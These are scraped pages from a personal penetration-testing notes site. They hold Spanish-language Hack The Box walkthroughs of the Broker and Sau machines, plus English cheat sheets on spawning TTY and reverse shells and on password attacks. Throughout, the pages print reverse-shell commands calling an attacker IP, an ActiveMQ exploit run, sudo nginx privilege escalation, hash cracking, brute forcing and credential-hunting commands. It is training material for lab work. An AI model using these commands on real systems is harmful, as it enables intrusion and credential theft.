![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-af21bba35e35f2ebf3f124cc3b9ef9fa46382680%252FPasted%2520image%252020250507200310.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=32e38e3c&sv=2) Si revisamos la ayuda de este programa vemos que una opción (-c) que permite especificar un archivo de configuración: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-657420261c9b72b3c75cf860992b30ca1cf42da2%252FPasted%2520image%252020250507200443.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=b881279f&sv=2) #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#explotacion-de-nginx-con-sudo) 🎯 Explotación de nginx con sudo Podemos abusar de esto creando una copia del archivo original de tal forma que podríamos iniciar nginx en otro puerto y con otras configuraciones que definamos: Establecemos la siguiente configuración en el fichero, de forma que lo que estamos haciendo es definir una nueva configuración para el usuario root que levante una nueva instancia de nginx en el puerto 1234 habilitando el directory listing: Lanzamos nginx especificando la configuración que hemos creado con el parámetro -c De tal forma que si ahora accedemos desde nuestro host de ataque al puerto 1234 del host comprometido podremos realizar directory listing y acceder al directorio /root para capturar la flag: ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-4eaafc5d3da6cc3dd9c85f00044c209303fe9e7b%252FPasted%2520image%252020250507202842.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=7c1f4e8a&sv=2) [PreviousSauchevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau) [NextSeachevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sea) Last updated 9 months ago * [📝 Descripción](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#descripcion) * [🚀 Metodología](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#metodologia) * [🔭 Reconocimiento](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#reconocimiento) * [🌐 Enumeración Web](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#enumeracion-web) * [💣 Explotación](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#explotacion) * [🛠️ Mejora de la Shell](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#mejora-de-la-shell) * [🔑 Escalada de privilegios](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/broker#escalada-de-privilegios) Copy ❯ ping -c2 10.10.11.243 PING 10.10.11.243 (10.10.11.243) 56(84) bytes of data. 64 bytes from 10.10.11.243: icmp_seq=1 ttl=63 time=47.9 ms 64 bytes from 10.10.11.243: icmp_seq=2 ttl=63 time=48.2 ms --- 10.10.11.243 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 47.947/48.065/48.184/0.118 ms Copy ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.243 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//) Copy ❯ echo $ports 22,80,1883,5672,8161,45657,61613,61614,61616 Copy nmap -sC -sV -p$ports 10.10.11.243 -oN services.txt Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-07 19:05 CEST Nmap scan report for 10.10.11.243 Host is up (0.047s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Error 401 Unauthorized |_http-server-header: nginx/1.18.0 (Ubuntu) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ basic realm=ActiveMQRealm 1883/tcp open mqtt | mqtt-subscribe: | Topics and their most recent payloads: | ActiveMQ/Advisory/Consumer/Topic/#: |_ ActiveMQ/Advisory/MasterBroker: 5672/tcp open amqp? |_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65 | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: | AMQP | AMQP | amqp:decode-error |_ 7Connection from client using unsupported AMQP attempted 8161/tcp open http Jetty 9.4.39.v20210325 |_http-server-header: Jetty(9.4.39.v20210325) |_http-title: Error 401 Unauthorized | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ basic realm=ActiveMQRealm 45657/tcp open tcpwrapped 61613/tcp open stomp Apache ActiveMQ | fingerprint-strings: | HELP4STOMP: | ERROR | content-type:text/plain | message:Unknown STOMP action: HELP | org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP | org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258) | org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85) | org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83) | org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233) | org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215) |_ java.lang.Thread.run(Thread.java:750) 61614/tcp open http Jetty 9.4.39.v20210325 |_http-title: Site doesn't have a title. |_http-server-header: Jetty(9.4.39.v20210325) | http-methods: |_ Potentially risky methods: TRACE 61616/tcp open apachemq ActiveMQ OpenWire transport 5.15.15 Copy echo "10.10.11.208 searcher.htb" | sudo tee -a /etc/hosts Copy git clone https://github.com/evkl1d/CVE-2023-46604.git Copy bash -c bash -i >& /dev/tcp/10.10.14.7/9001 0>&1 Copy python exploit.py -i -p -u Copy python3 -m http.server 80 Copy python exploit.py -i 10.10.11.243 -p 61616 -u http://10.10.14.7/poc.xml Copy script /dev/null -c bash Copy ctrl +z stty raw -echo; fg reset xterm Copy echo $TERM export TERM=xterm export SHELL=/bin/bash Copy # Comprobamos el tamaño de la ventana de la terminal en el host de ataque stty size 30 127 Copy # Establecemos el tamaño en base a la salida del stty size anterior stty rows 30 columns 127 Copy activemq@broker:~$ cat user.txt cat user.txt 06cb0****************5ce5f86fe Copy sudo -l Matching Defaults entries for activemq on broker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User activemq may run the following commands on broker: (ALL : ALL) NOPASSWD: /usr/sbin/nginx Copy cp /etc/nginx/nginx.conf /tmp/ Copy user root; events { worker_connections 768; # multi_accept on; } http { server { listen 1234; root /; autoindex on; } } Copy sudo /usr/sbin/nginx -c /tmp/nginx.conf --- # Spawn TTY Shells | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#python-methods) 🔧 Python Methods ---------------------------------------------------------------------------------------------------------------------------------------------- Copy python -c 'import pty; pty.spawn("/bin/bash")' Copy python3 -c 'import pty; pty.spawn("/bin/bash")' You can also use: Copy python -c 'import os; os.system("/bin/bash")' [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#socat-methods-from-attacker-and-victim) 🐍 Socat Methods (from attacker and victim) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ On attacker (listener): Copy socat file:`tty`,raw,echo=0 tcp-listen:4444 On victim (reverse shell): Copy socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp::4444 [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#script-method-if-available-on-the-system) 🦀 Script Method (if available on the system) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Copy script /dev/null -c bash ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#regaining-full-terminal-control) 🧠 Regaining Full Terminal Control 1. Suspend with `Ctrl + Z` 2. On the attacker host: ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#ensuring-terminal-configuration) 📦 Ensuring Terminal Configuration ### [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#adjusting-window-size-prevents-errors-when-using-programs-like-nano-htop-etc) 🖼 Adjusting Window Size (prevents errors when using programs like `nano`, `htop`, etc.) 1. On the attacker host: 1. On the remote shell: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#dev-tcp-and-bash-method-interactive-reverse-shell) 📟 /dev/tcp and Bash Method (interactive reverse shell) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Once connected, you can upgrade the shell with stty (explained below). [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#shell-upgrade-with-system-commands-stty-and-export) 🐚 Shell Upgrade with System Commands (stty and export) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Once you use any of the above methods (like python -c 'pty.spawn(...)'), you can further improve it with: Then, type: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-perl) 🧬 With Perl ------------------------------------------------------------------------------------------------------------------------------------ Or with pseudo-terminal: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-java) ☕ With Java ----------------------------------------------------------------------------------------------------------------------------------- If Runtime.exec() is accessible: (Generally not very useful manually, but useful in Java app exploitation). [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-lua) 🦥 With Lua ---------------------------------------------------------------------------------------------------------------------------------- [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-awk) 🧱 With Awk ---------------------------------------------------------------------------------------------------------------------------------- [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-tcl) 🧪 With Tcl ---------------------------------------------------------------------------------------------------------------------------------- [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-vi-or-vim-command-mode) 🧞‍♂️ With vi or vim (command mode) ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Or: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-nmap-if-it-has-scripting-with-interactive) 🖋️ With nmap (if it has scripting with --interactive) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-docker-chroot-chsh-if-you-have-permissions) 💾 With Docker / Chroot / chsh if you have permissions -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Or if you can change your shell: [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#useful-tips) 🧠 Useful Tips ---------------------------------------------------------------------------------------------------------------------------------------- If you have a shell without colors or history, export: To check if a TTY is assigned: [PreviousPassword Attackschevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks) [NextCTFschevron-right](https://x3m1sec.gitbook.io/notes/ctfs) Last updated 10 months ago * [🔧 Python Methods](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#python-methods) * [🐍 Socat Methods (from attacker and victim)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#socat-methods-from-attacker-and-victim) * [🦀 Script Method (if available on the system)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#script-method-if-available-on-the-system) * [🧠 Regaining Full Terminal Control](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#regaining-full-terminal-control) * [📦 Ensuring Terminal Configuration](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#ensuring-terminal-configuration) * [🖼 Adjusting Window Size (prevents errors when using programs like nano, htop, etc.)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#adjusting-window-size-prevents-errors-when-using-programs-like-nano-htop-etc) * [📟 /dev/tcp and Bash Method (interactive reverse shell)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#dev-tcp-and-bash-method-interactive-reverse-shell) * [🐚 Shell Upgrade with System Commands (stty and export)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#shell-upgrade-with-system-commands-stty-and-export) * [🧬 With Perl](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-perl) * [☕ With Java](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-java) * [🦥 With Lua](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-lua) * [🧱 With Awk](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-awk) * [🧪 With Tcl](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-tcl) * [🧞‍♂️ With vi or vim (command mode)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-vi-or-vim-command-mode) * [🖋️ With nmap (if it has scripting with --interactive)](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-nmap-if-it-has-scripting-with-interactive) * [💾 With Docker / Chroot / chsh if you have permissions](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#with-docker-chroot-chsh-if-you-have-permissions) * [🧠 Useful Tips](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell#useful-tips) Copy stty raw -echo; fg reset xterm Copy echo $TERM # Verify terminal type export TERM=xterm # Set terminal type if needed export SHELL=/bin/bash # Force bash if possible Copy stty size # Example output: 30 127 Copy stty rows 30 columns 127 Copy bash -i >& /dev/tcp//4444 0>&1 Copy CTRL+Z # Pause the shell and return to your local terminal stty raw -echo; fg Copy reset export SHELL=bash export TERM=xterm-256color stty rows columns # Adjust size if needed Copy perl -e 'exec "/bin/bash";' Copy perl -e 'use POSIX; POSIX::setsid(); exec "/bin/bash";' Copy Runtime.getRuntime().exec("/bin/bash"); Copy lua -e "os.execute('/bin/bash')" Copy awk 'BEGIN {system("/bin/bash")}' Copy tclsh exec /bin/bash Copy vim :!bash Copy vim -c ':!bash' Copy nmap --interactive !sh Copy docker run -v /:/mnt --rm -it alpine chroot /mnt sh Copy chsh -s /bin/bash Copy export TERM=xterm-256color export HISTFILE=/dev/null Copy tty --- # Password Attacks | Pentest Notes [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#default-credentials-and-online-hash-cracking) **Default Credentials and Online Hash Cracking** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > Before attempting login bruteforcing or any password-based attacks, you should always check for **password re-use and default credentials usage**. Also, after finding a hash, you should use one of the following **online cracking databases** before performing dictionary attacks or bruteforcing. **Default Credentials:** Always try googling the service's name followed by "default credentials". If that doesn't work, you can check the following resources: 1. [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csvarrow-up-right](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv) 2. [https://github.com/Dormidera/WordList-Compendiumarrow-up-right](https://github.com/Dormidera/WordList-Compendium) 3. [https://datarecovery.com/rd/default-passwords/arrow-up-right](https://datarecovery.com/rd/default-passwords/) 4. [https://bizuns.com/default-passwords-listarrow-up-right](https://bizuns.com/default-passwords-list) 5. [https://www.cirt.net/passwordsarrow-up-right](https://www.cirt.net/passwords) **Online Databases - Hash Cracking:** Whenever finding a hash, always try cracking it using one of the following online databases: 1. [https://crackstation.net/arrow-up-right](https://crackstation.net/) 2. [https://www.cmd5.org/arrow-up-right](https://www.cmd5.org/) 3. [https://md5decrypt.net/arrow-up-right](https://md5decrypt.net/) 4. [https://www.md5online.org/md5-decrypt.htmlarrow-up-right](https://www.md5online.org/md5-decrypt.html) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#making-custom-wordlists) **Making Custom Wordlists** ------------------------------------------------------------------------------------------------------------------------------------------------------------------ The following commands can help making a custom user or password wordlist after gaining more information about the specific target * Interactively create a custom Password Wordlist using cupp: `cupp -i` * Generate usernames list starting from name and surname: `./username-anarchy Bill Gates > wordlist.txt` * Remove passwords shorter than 8 characters from wordlist: `sed -ri '/^.{,7}$/d' wordlist.txt` * Remove passwords without numbers from wordlist: `sed -ri '/[0-9]+/!d' wordlist.txt` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#making-wordlist-mutations) **Making Wordlist Mutations** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- > A wordlist mutation is simply the result obtained through the process of adding several characters to a pre-existing wordlist. Basic examples are the following: \[-\] Adding special characters at the end of each word \[-\] Adding numbers at the end of each word \[-\] Transforming every word in leet (l33t) format, e.g. "ciao" becomes "c140" * Generate wordlist based on keywords on a website: `cewl https://example.idk -d 4 -m 6 --lowercase -w wordlist.txt` * Generate a rule-based wordlist: `hashcat --force password.list -r custom.rule --stdout > new.list` * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#offline-password-cracking) **Offline Password Cracking** ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- Offline password cracking refers to the process of locally recovering a cleartext password from a previously obtained password hash. This process doesn't involve any interaction with the target system you are trying to access **Cracking hashes using Hashcat:** * Hashcat basic usage: `hashcat -m MODE_NUMBER hashfile /path/to/wordlist` * Crack NTLM hashes: `hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt` * Crack NTLMv2 hashes: `hashcat -m 5600 ntlm /usr/share/wordlists/rockyou.txt` * Crack TGS Ticket after Kerberoasting: `hashcat -m 13100 kerberoasted /usr/share/wordlists/rockyou.txt` * Crack TGS Ticket after ASREProasting: `hashcat -m 18200 asreproasted /usr/share/wordlists/rockyou.txt` * Crack unshadowed hashes: `hashcat -m 1800 -a 0 unshadowed /usr/share/wordlists/rockyou.txt -o outfile` * Crack MD5 hashes: `hashcat -m 500 -a 0 md5-hashes.list /usr/share/wordlists/rockyou.txt` * Crack BitLocker hashes: `hashcat -m 22100 backup.hash /usr/share/wordlists/rockyou.txt -o backup.cracked` * Crack KeePass hashes: `hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt` **Cracking hashes using John:** * John basic usage: `john --wordlist=/usr/share/wordlists/rockyou.txt hashfile` * Show cracking result: `john cracked-hash-file --show` * John unshadowing: `unshadow /etc/passwd /etc/shadow > unshadowed.hashes` * Crack hash specifying its format: `john --format=hash-type hash_to_crack.txt` **Cracking files using John Scripts:** * Install with `sudo apt install john-data` * John data is a package containing scripts to transform different file types to hashes to crack * Most of the scripts' usage is the same: `example2john example > hash` followed by `john --wordlist=wordlist.txt hash` * Some of the mostly used ones are the following: `rar2john`, `zip2john`, `ssh2john`, `pdf2john`, `office2john`, `keepass2john` * You can find the entire list of scripts and their usage here: [https://www.kali.org/tools/john/#john-dataarrow-up-right](https://www.kali.org/tools/john/#john-data) * * * [hashtag](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#bruteforcing-protocols-and-services-authentication) **Bruteforcing Protocols and Services Authentication** ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ > If you have access to NTLM password hashes or Kerberos Tickets, you should always check if you can authenticate using PtH (Pass the Hash) or PtT (Pass the Ticket) For more information on how to do that, refer to the Active Directory (Kerberos) Notes. When facing an interesting exposed protocol or service, you could try bruteforcing its authentication in order to gain access. * Hydra basic usage: `hydra -L user.list -P password.list service://ip` * Hydra HTTP Basic Authentication bruteforcing: `hydra -L wordlist.txt -P wordlist.txt -u -f SERVER_IP -s PORT http-get /` * Hydra HTTP Post Form Login bruteforcing (error text message): `hydra -l username -P passwords.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:ErrorMessageonLoginFailure"` * Hydra HTTP Post Form Login bruteforcing (error HTTP element): `hydra -l username -P passwords.txt -f SERVER_IP -s PORT http-post-form "/login.php:username=^USER^&password=^PASS^:F=
/dev/null \| grep -v "lib\|fonts\|share\|core" ;done` 2. Find common database files: `for l in $(echo ".sql .db .\*db .db\*");do echo -e "\nDB File extension: " $l; find / -name \*\$l 2>/dev/null \| grep -v "doc\|lib\|headers\|share\|man";done | Script that can be used to find common database files.` 3. Find script files: `for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null \| grep -v "doc\|lib\|headers\|share";done` 4. Find common document files: `for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null \| grep -v "lib\|fonts\|share\|core" ;done` 5. View the contents of crontab in search for credentials: `cat /etc/crontab` 6. Search files with potential SSH private keys: `grep -rnw "PRIVATE KEY" /* 2>/dev/null \| grep ":1"` [PreviousPivoting, Tunneling, Port Forwardingchevron-left](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/pivoting-tunneling-port-forwarding) [NextSpawn TTY Shellschevron-right](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/spawn_tty_shell) Last updated 11 months ago * [Default Credentials and Online Hash Cracking](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#default-credentials-and-online-hash-cracking) * [Making Custom Wordlists](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#making-custom-wordlists) * [Making Wordlist Mutations](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#making-wordlist-mutations) * [Offline Password Cracking](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#offline-password-cracking) * [Bruteforcing Protocols and Services Authentication](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#bruteforcing-protocols-and-services-authentication) * [Hunting Passwords in Windows](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#hunting-passwords-in-windows) * [Hunting Passwords in Linux](https://x3m1sec.gitbook.io/notes/pentest-notes/utilities-scripts-and-payloads/password-attacks#hunting-passwords-in-linux) --- # Hard | Pentest Notes [Blackfieldchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/hard/blackfield) [Flightchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/hard/flight) [PreviousEscapechevron-left](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/medium/escape) [NextBlackfieldchevron-right](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/windows/hard/blackfield) Last updated 9 months ago --- # Sau | Pentest Notes ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-1dfa0dab4f68f210bb16365816d639fd91a9b1da%252FPasted%2520image%252020250505141106.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=3a9d4dca&sv=2) **Publicado:** 06 de Mayo de 2025 **Autor:** José Miguel Romero aka x3m1Sec **Dificultad:** ⭐ Easy ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#descripcion) 📝 Descripción Sau es una máquina Linux de dificultad fácil que demuestra la explotación de una vulnerabilidad SSRF (Server-Side Request Forgery) en Request-Baskets y una posterior vulnerabilidad de ejecución remota de comandos en Maltrail. Para la escalada de privilegios, se abusa de un binario que se puede ejecutar como root a través de sudo. ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#metodologia) 🚀 Metodología La metodología seguida para comprometer la máquina Sau consiste en los siguientes pasos: ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#reconocimiento) 🔭 Reconocimiento #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#ping-para-verificacion-en-base-a-ttl) Ping para verificación en base a TTL > 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#escaneo-de-puertos) Escaneo de puertos #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#enumeracion-de-servicios) Enumeración de servicios En base al escaneo de nmap verificamos que los puertos 22 y 55555 están abiertos mientras que el 80 y el 8338 están filtrados. #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#enumeracion-web) 🌐 Enumeración Web http://10.10.11.224:55555/web ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-d268c4aa5dd7ce50293045d97b7d95b3b4719e89%252FPasted%2520image%252020250505142025.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=eedc33d7&sv=2) Descubrimos que se trata de un http collector para testear webhooks, notificaciones, etc: https://github.com/darklynx/request-baskets La versión de este proyecto (1.2.1) parece que tiene una vulnerabildad a SSRF y hay algunos exploits públicos: https://vulners.com/packetstorm/PACKETSTORM:174128 ### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#analisis-de-vulnerabilidades) 🔍 Análisis de Vulnerabilidades #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#request-baskets-ssrf-cve-2023-27163) Request-Baskets SSRF (CVE-2023-27163) Esta vulnerabilidad permite a un atacante realizar solicitudes desde el servidor hacia destinos internos que normalmente no serían accesibles desde el exterior. En el caso de Sau, esto nos permitió acceder a servicios filtrados como el puerto 80 donde se ejecutaba Maltrail. Las principales características de esta vulnerabilidad son: * Permite la redirección de peticiones HTTP a servidores internos * No requiere autenticación para crear "cestas" que actúan como proxies * Facilita la evasión de restricciones de firewall internas CVE-2023–27163 representa una vulnerabilidad crítica de Server-Side Request Forgery (SSRF) que se identificó en Request-Baskets, afectando a todas las versiones hasta e incluyendo [1.2.1arrow-up-right](https://github.com/advisories/GHSA-58g2-vgpg-335q) . Esta vulnerabilidad en particular otorga a los actores maliciosos la capacidad de obtener acceso no autorizado a los recursos de la red e información confidencial explotando el `/api/baskets/{name}` componente a través de solicitudes API cuidadosamente diseñadas. ![](https://x3m1sec.gitbook.io/notes/~gitbook/image?url=https%3A%2F%2F676251173-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252Fs6pPsnegBMYnJpzHBrVK%252Fuploads%252Fgit-blob-e2bc72690f6b99c4d608e30ca0cf7a290e9d6536%252FPasted%2520image%252020250505151156.png%3Falt%3Dmedia&width=768&dpr=3&quality=100&sign=c132c46f&sv=2) #### [hashtag](https://x3m1sec.gitbook.io/notes/ctfs/hack-the-box/linux/easy/sau#como-funciona) ¿Cómo funciona? Request-Baskets funciona como una aplicación web diseñada para recopilar y registrar solicitudes HTTP entrantes dirigidas a puntos finales específicos conocidos como “cestas.” Durante la creación de estas cestas, los usuarios tienen la flexibilidad de especificar servidores alternativos a los que se deben reenviar estas solicitudes. El problema crítico aquí radica en el hecho de que los usuarios pueden especificar inadvertidamente los servicios a los que no deberían tener acceso, incluidos los que normalmente están restringidos dentro de un entorno de red. Por ejemplo, considere un escenario en el que el servidor aloja Solicitar-Cajas en el puerto 55555 y simultáneamente ejecuta un servidor web Flask en el puerto 8000. El servidor Flask, sin embargo, está configurado para interactuar exclusivamente con el localhost. En este contexto, un atacante puede explotar la vulnerabilidad SSRF creando una cesta que reenvía solicitudes a `http://localhost:8000`, 